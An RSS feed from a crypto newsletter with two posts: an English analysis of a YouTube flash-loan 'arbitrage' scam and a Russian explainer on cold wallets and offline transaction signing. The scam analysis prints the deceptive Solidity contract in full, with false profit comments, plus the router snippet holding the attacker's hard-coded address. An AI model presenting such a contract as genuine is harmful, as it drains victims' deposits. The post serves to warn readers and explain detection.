<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Awamori</title>
        <link>https://paragraph.com/@wielkie</link>
        <description>undefined</description>
        <lastBuildDate>Fri, 15 May 2026 04:21:52 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <image>
            <title>Awamori</title>
            <url>https://storage.googleapis.com/papyrus_images/45e78370deafbc2eab43be45ee6ff38c79e29cd63e87dc7f48c654fe2a7fe203.jpg</url>
            <link>https://paragraph.com/@wielkie</link>
        </image>
        <copyright>All rights reserved</copyright>
        <item>
            <title><![CDATA[Analysis of a technical smart contract scam]]></title>
            <link>https://paragraph.com/@wielkie/analysis-of-a-technical-smart-contract-scam</link>
            <guid>8gycBcYyZzxHMTknPtOl</guid>
            <pubDate>Wed, 15 Mar 2023 20:55:14 GMT</pubDate>
            <description><![CDATA[Introduction I once came across a video on YouTube which was named “How I earned BNB using Flashloans to Arbitrage on Binance Smartchain BSC”. The title was quite catchy because everyone who followed the crypto field in the beginning of 2021 was aware of Binance Smart Chain (BSC), which is a clone of Ethereum, and definitely heard about multiple attacks on DeFi projects running on this blockchain. Following the success of DeFi on Ethereum, Binance created a copy of the blockchain and, alleged...]]></description>
            <content:encoded><![CDATA[<p>Introduction I once came across a video on YouTube which was named “How I earned BNB using Flashloans to Arbitrage on Binance Smartchain BSC”. The title was quite catchy because everyone who followed the crypto field in the beginning of 2021 was aware of Binance Smart Chain (BSC), which is a clone of Ethereum, and definitely heard about multiple attacks on DeFi projects running on this blockchain.</p><p>Following the success of DeFi on Ethereum, Binance created a copy of the blockchain and, allegedly, funded multiple projects that copied most successful and advanced DeFi-projects of Ethereum. Everything looked fine until a cascade of hacks that targeted projects on BSC in the Spring of 2021.</p><p>Most of the attacks used a similar scheme:</p><ol><li><p>A DeFi contract had a flaw in token balances calculation.</p></li><li><p>An attacker used a flash loan to inflate a token pool or vault.</p></li><li><p>The attacker then exploited the flaw by doing a big trade or token swap and tricking the contract into thinking that all balances were correct.</p></li><li><p>The flash loan was repaid and the attacker got away with some profit. So, for anyone who heard about those attacks it was hard to pass by (me included).</p><p>So, for anyone who heard about those attacks it was hard to pass by (me included).</p><p>Mechanics of the scam Author of the video shared how they managed to take a flash loan to make one arbitraging trade and earn several BNB (1 BNB costed around $400 back then). And, out of generosity, they shared the technique:</p><p>Viewer was asked to deploy a smart contract that does all the job. To cover transaction fees, viewer was asked to deposit 0.25 BNB into the contract. The contract belonged to the viewer, so everything looked safe. Then, viewer needed to execute flashloan function of the contract. The author even uploaded the contract to Remix, an Ethereum online IDE, so viewer needed to only click a couple of buttons.</p><p>It’s not hard to guess that everyone how followed the instructions lost the 0.25 BNB they deposited into the contract and got nothing in return. At the time of writing, more than 44 BNB (more than $17 500) were withdrawn from attacker’s address.</p><p>How to identify the scam First thing that stands out is the 0.25 BNB fee: this is a very high transaction fee for BSC, you’d hardly ever submit a transaction that costs that much. Apparently, the attacker didn’t want it to be too suspicious and made the amount low enough to look like a real fee and big enough to satisfy their greed.</p><p>Second, never ever run a contract if you don’t know how it works. Here’s the contract viewers were instructed to deploy (comments are added by its author):</p><pre data-type="codeBlock" text="pragma solidity ^0.5.0;

// PancakeSwap Smart Contracts
import &quot;https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol&quot;;
import &quot;https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol&quot;;

//BakerySwp Smart contracts
import &quot;https://github.com/BakeryProject/bakery-swap-core/blob/master/contracts/interfaces/IBakerySwapFactory.sol&quot;;

// Router
import &quot;ipfs://QmUSQQNWBJ6snmx5FvafDSBCPCy63BLTpwM61dYjRzwLkN&quot;;

// Multiplier-Finance Smart Contracts
import &quot;https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol&quot;;
import &quot;https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol&quot;;

contract InitiateFlashLoan {
  RouterV2 router;
  string public tokenName;
  string public tokenSymbol;
  uint256 flashLoanAmount;

  constructor(
    string memory _tokenName,
    string memory _tokenSymbol,
    uint256 _loanAmount
  ) public {
    tokenName = _tokenName;
    tokenSymbol = _tokenSymbol;
    flashLoanAmount = _loanAmount;
    router = new RouterV2();
  }

  function() external payable {}

  function flashloan() public payable {
    // Send required coins for swap
    address(uint160(router.pancakeSwapAddress())).transfer(
      address(this).balance
    );

    //Flash loan borrowed 3,137.41 BNB from Multiplier-Finance to make an arbitrage trade on the AMM DEX PancakeSwap.
    router.borrowFlashloanFromMultiplier(
      address(this),
      router.bakerySwapAddress(),
      flashLoanAmount
    );

    //To prepare the arbitrage, BNB is converted to BUSD using PancakeSwap swap contract.
    router.convertBnbToBusd(msg.sender, flashLoanAmount / 2);

    //The arbitrage converts BUSD for BNB using BUSD/BNB PancakeSwap, and then immediately converts BNB back to 3,148.39 BNB using BNB/BUSD BakerySwap.
    router.callArbitrageBakerySwap(router.bakerySwapAddress(), msg.sender);

    //After the arbitrage, 3,148.38 BNB is transferred back to Multiplier to pay the loan plus fees. This transaction costs 0.2 BNB of gas.
    router.transferBnbToMultiplier(router.pancakeSwapAddress());

    //Note that the transaction sender gains 3.29 BNB from the arbitrage, this particular transaction can be repeated as price changes all the time.
    router.completeTransation(address(this).balance);
  }
}
"><code><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.5.0;</span>

<span class="hljs-comment">// PancakeSwap Smart Contracts</span>
<span class="hljs-keyword">import</span> <span class="hljs-string">"https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol"</span>;

<span class="hljs-comment">//BakerySwp Smart contracts</span>
<span class="hljs-keyword">import</span> <span class="hljs-string">"https://github.com/BakeryProject/bakery-swap-core/blob/master/contracts/interfaces/IBakerySwapFactory.sol"</span>;

<span class="hljs-comment">// Router</span>
<span class="hljs-keyword">import</span> <span class="hljs-string">"ipfs://QmUSQQNWBJ6snmx5FvafDSBCPCy63BLTpwM61dYjRzwLkN"</span>;

<span class="hljs-comment">// Multiplier-Finance Smart Contracts</span>
<span class="hljs-keyword">import</span> <span class="hljs-string">"https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">InitiateFlashLoan</span> </span>{
  RouterV2 router;
  <span class="hljs-keyword">string</span> <span class="hljs-keyword">public</span> tokenName;
  <span class="hljs-keyword">string</span> <span class="hljs-keyword">public</span> tokenSymbol;
  <span class="hljs-keyword">uint256</span> flashLoanAmount;

  <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params">
    <span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> _tokenName,
    <span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> _tokenSymbol,
    <span class="hljs-keyword">uint256</span> _loanAmount
  </span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    tokenName <span class="hljs-operator">=</span> _tokenName;
    tokenSymbol <span class="hljs-operator">=</span> _tokenSymbol;
    flashLoanAmount <span class="hljs-operator">=</span> _loanAmount;
    router <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> RouterV2();
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{}

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flashloan</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    <span class="hljs-comment">// Send required coins for swap</span>
    <span class="hljs-keyword">address</span>(<span class="hljs-keyword">uint160</span>(router.pancakeSwapAddress())).<span class="hljs-built_in">transfer</span>(
      <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>
    );

    <span class="hljs-comment">//Flash loan borrowed 3,137.41 BNB from Multiplier-Finance to make an arbitrage trade on the AMM DEX PancakeSwap.</span>
    router.borrowFlashloanFromMultiplier(
      <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>),
      router.bakerySwapAddress(),
      flashLoanAmount
    );

    <span class="hljs-comment">//To prepare the arbitrage, BNB is converted to BUSD using PancakeSwap swap contract.</span>
    router.convertBnbToBusd(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, flashLoanAmount <span class="hljs-operator">/</span> <span class="hljs-number">2</span>);

    <span class="hljs-comment">//The arbitrage converts BUSD for BNB using BUSD/BNB PancakeSwap, and then immediately converts BNB back to 3,148.39 BNB using BNB/BUSD BakerySwap.</span>
    router.callArbitrageBakerySwap(router.bakerySwapAddress(), <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);

    <span class="hljs-comment">//After the arbitrage, 3,148.38 BNB is transferred back to Multiplier to pay the loan plus fees. This transaction costs 0.2 BNB of gas.</span>
    router.transferBnbToMultiplier(router.pancakeSwapAddress());

    <span class="hljs-comment">//Note that the transaction sender gains 3.29 BNB from the arbitrage, this particular transaction can be repeated as price changes all the time.</span>
    router.completeTransation(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>);
  }
}
</code></pre></li></ol><p>Everything looks kind of ok:</p><ol><li><p>Real PancakeSwap, BakerySwap, and Multiplier-Finance contracts are imported.</p></li><li><p>A router contract is imported (IPFS? huh?).</p></li><li><p>Then there’s <code>flashloan</code> function that sends contract’s ethers to a PancakeSwap address, borrows a flash loan from Multiplier-Finance, makes an arbitraging swap, pays out the loan, and finally returns some profit to the contract.</p></li></ol><p>In fact, it does only one thing: it sends all BNB deposited into the contract, to attacker’s address. That IPFS import definitely looks suspicious and there’s a reason they used IPFS there: so it’s harder to get the Router contract and see what it’s doing.</p><p>The Router contract contains a lot of lines to make it noisy and hard to read but it’s not hard to find the only important part:</p><pre data-type="codeBlock" text="...

contract RouterV2 {
    ...
    function pancakeSwapAddress() public pure returns (address) {
        return 0x2593F13d5b7aC0d766E5768977ca477F9165923a;
    }

    ...
}
"><code>...

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">RouterV2</span> </span>{
    ...
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">pancakeSwapAddress</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-number">0x2593F13d5b7aC0d766E5768977ca477F9165923a</span>;
    }

    ...
}
</code></pre><p>This is the address the main contract sends all funds to.</p><p>Conclusion This scam is an interesting case: most scams target non-tech savvy users of cryptocurrencies and this one targets those who are aware of flash loan attacks and who knows how to deploy smart contracts and how to interact with them directly. That is not a large audience but, as we can see, many people have still fell victims of the scam.</p>]]></content:encoded>
            <author>wielkie@newsletter.paragraph.com (Awamori)</author>
        </item>
        <item>
            <title><![CDATA[Холодные кошельки и оффлайн транзакции.
]]></title>
            <link>https://paragraph.com/@wielkie/1s7qkfarOWZiHTcI26GG</link>
            <guid>1s7qkfarOWZiHTcI26GG</guid>
            <pubDate>Wed, 07 Dec 2022 16:34:52 GMT</pubDate>
            <description><![CDATA[Криптовалютный кошелек, в какой бы форме он ни был, является средством взаимодействия с блокчейном. Взаимодействие с блокчейном происходит путём оперирования приватными ключами, с помощью них кошелек генерирует новые адреса для получения криптовалюты или авторизует исходящие транзакции. По методу оперирования, а если еще точнее, методу хранения приватных ключей, кошельки делятся на горячие и холодные. Горячий кошелек — это кошелек, который подключен к Интернету или когда-либо был подключен к ...]]></description>
            <content:encoded><![CDATA[<p>Криптовалютный кошелек, в какой бы форме он ни был, является средством взаимодействия с блокчейном. Взаимодействие с блокчейном происходит путём оперирования приватными ключами, с помощью них кошелек генерирует новые адреса для получения криптовалюты или авторизует исходящие транзакции. По методу оперирования, а если еще точнее, методу хранения приватных ключей, кошельки делятся на горячие и холодные.</p><p><strong>Горячий кошелек</strong> — это кошелек, который подключен к Интернету или когда-либо был подключен к нему. Одним из преимуществ горячих кошельков является то, что с их помощью можно совершать небольшие повседневные транзакции, однако использовать его для хранения большего количества криптовалюты не рекомендуется, так как он уязвим для атак, ведь абсолютное большинство атак проводятся в онлайне. Одним из наиболее распространенных типов горячих кошельков являются программные кошельки, о лучших их представителях у нас есть отдельная статья:</p><p><strong>Холодный кошелек</strong> — это тип кошелька для криптовалюты, нацеленный на максимальную безопасность. В отличие от горячих кошельков, холодные кошельки оперируют приватными ключами только в безопасной среде, не подключенной к Интернету, что значительно повышается безопасность Ваших активов. Именно об этом типе кошельков мы сегодня и поговорим.</p><p>Холодные кошельки по своему строению могут быть программными и аппаратными, но суть у всех одна: холодный кошелек только подписывает транзакции, созданные на онлайн кошельке, которые затем транслируются в сеть так же при помощи онлайн кошелька.</p><p>Где еще могут понадобиться оффлайн транзакции, кроме как для обеспечения безопасности активов? Например, при совершении оффлайн сделок по покупке чего-то за криптовалюту или продажи криптовалюты. В такой ситуации будет правильным решением подготовить транзакцию заранее, а не приносить свой кошелек на саму встречу. В таком случае Вы не подвергаете себя риску возможной атаки гаечным ключом (<em>камнем по голове и хищение кошелька</em>) или компрометации конфиденциальной информации.</p><p>Программные кошельки, как следует из названия, являются просто программным обеспечением, которое позволяет совершать то самое взаимодействие с блокчейном.</p><p>С аппаратными кошельками всё куда интереснее, они представлены отдельными устройствами, которые являются защищенной изолированной средой для хранения приватных ключей, все действия подтверждаются непосредственно на самом устройстве, которое само по себе так же к Интернету не подключается, а для транслирования может использоваться компьютер или смартфон. При наличии аппаратного кошелька можно совершать транзакции даже на устройстве, доверху заполненном вирусами, и не волноваться о своей безопасности.</p><p>Схема работы программного холодного кошелька выглядит следующим образом. Необходимо наличие двух устройств, одно из которых подключено к интернету, а другое — нет и никогда не было.</p><p>Это могут быть, как компьютеры, так и смартфоны, примеры программного обеспечения для обоих типов устройств я дам чуть позже.</p><p>В таком случае Online-устройство работает в <em>watch-only режиме</em>, то есть режиме, который позволяет только наблюдать за балансом и не позволяет им оперировать.</p><p>Схема совершения исходящей транзакции с использованием холодного программного кошелька выглядит следующим образом.</p><p>Раз это оффлайн транзакции, логичным будет начать нашу деятельность с Offline-устройства. На Offline-устройство посредством накопителя (usb-флешки) доставляется программное обеспечение, которое и будет оперировать нашими приватными ключами.</p><p>На оффлайн устройстве создаётся кошелек.</p><p>Далее с Offline-устройства с помощью флеш-накопителя на Online-устройство переносится мастер-ключ для watch-only режима, с помощью которого мы сможем проводить наблюдение за балансом и создавать транзакции (неподписанные).</p><p>На Online-устройстве, синхронизированном с блокчейном, создаётся транзакция и в неподписанном виде передаётся на Offline-устройство. Затем транзакция подписывается на Offline-устройстве, в подписанном виде передаётся на Online-устройство и транслируется в сеть.</p>]]></content:encoded>
            <author>wielkie@newsletter.paragraph.com (Awamori)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/30696e6210543c81a2d381b672d4b7a1b07b761a72ba2f88ea558942a8622eba.png" length="0" type="image/png"/>
        </item>
    </channel>
</rss>